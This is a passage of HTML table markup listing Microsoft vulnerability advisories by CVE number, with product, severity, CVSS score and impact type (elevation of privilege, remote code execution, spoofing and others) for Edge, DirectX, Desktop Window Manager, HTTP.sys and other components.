  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58633"><span>CVE-2026-58633</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58634"><span>CVE-2026-58634</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50296"><span>CVE-2026-50296</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50375"><span>CVE-2026-50375</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50353"><span>CVE-2026-50353</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50493"><span>CVE-2026-50493</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56643"><span>CVE-2026-56643</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56644"><span>CVE-2026-56644</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58629"><span>CVE-2026-58629</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49174"><span>CVE-2026-49174</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50495"><span>CVE-2026-50495</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57088"><span>CVE-2026-57088</span></a></td>
  <td width="256" class="xl74">Extensible Storage
  Engine (ESENT) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a></td>
  <td width="256" class="xl74">Game: Age of Empires
  II: Definitive Edition Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47282"><span>CVE-2026-47282</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50510"><span>CVE-2026-50510</span></a></td>
  <td width="256" class="xl74">GitHub Copilot Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49787"><span>CVE-2026-49787</span></a></td>
  <td width="256" class="xl74">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50420"><span>CVE-2026-50420</span></a></td>
  <td width="256" class="xl74">HTTP.sys Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49788"><span>CVE-2026-49788</span></a></td>
  <td width="256" class="xl74">HTTP/2 Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50696"><span>CVE-2026-50696</span></a></td>
  <td width="256" class="xl74">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58617"><span>CVE-2026-58617</span></a></td>
  <td width="256" class="xl74">M365 Copilot for iOS
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58595"><span>CVE-2026-58595</span></a></td>
  <td width="256" class="xl74">Microsoft Bing App for
  IOS Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49162"><span>CVE-2026-49162</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50305"><span>CVE-2026-50305</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50361"><span>CVE-2026-50361</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50466"><span>CVE-2026-50466</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50458"><span>CVE-2026-50458</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50658"><span>CVE-2026-50658</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56178"><span>CVE-2026-56178</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50657"><span>CVE-2026-50657</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50329"><span>CVE-2026-50329</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58541"><span>CVE-2026-58541</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58596"><span>CVE-2026-58596</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57991"><span>CVE-2026-57991</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58291"><span>CVE-2026-58291</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981"><span>CVE-2026-57981</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57984"><span>CVE-2026-57984</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57985"><span>CVE-2026-57985</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57986"><span>CVE-2026-57986</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57988"><span>CVE-2026-57988</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57992"><span>CVE-2026-57992</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58276"><span>CVE-2026-58276</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645"><span>CVE-2026-56645</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974"><span>CVE-2026-57974</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57975"><span>CVE-2026-57975</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58281"><span>CVE-2026-58281</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58284"><span>CVE-2026-58284</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58285"><span>CVE-2026-58285</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58287"><span>CVE-2026-58287</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58288"><span>CVE-2026-58288</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289"><span>CVE-2026-58289</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58290"><span>CVE-2026-58290</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58292"><span>CVE-2026-58292</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58293"><span>CVE-2026-58293</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58294"><span>CVE-2026-58294</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57983"><span>CVE-2026-57983</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58295"><span>CVE-2026-58295</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58525"><span>CVE-2026-58525</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"><span>CVE-2026-57987</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58278"><span>CVE-2026-58278</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56646"><span>CVE-2026-56646</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57977"><span>CVE-2026-57977</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57993"><span>CVE-2026-57993</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58282"><span>CVE-2026-58282</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58283"><span>CVE-2026-58283</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58286"><span>CVE-2026-58286</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58298"><span>CVE-2026-58298</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58524"><span>CVE-2026-58524</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58296"><span>CVE-2026-58296</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58297"><span>CVE-2026-58297</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58300"><span>CVE-2026-58300</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58522"><span>CVE-2026-58522</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
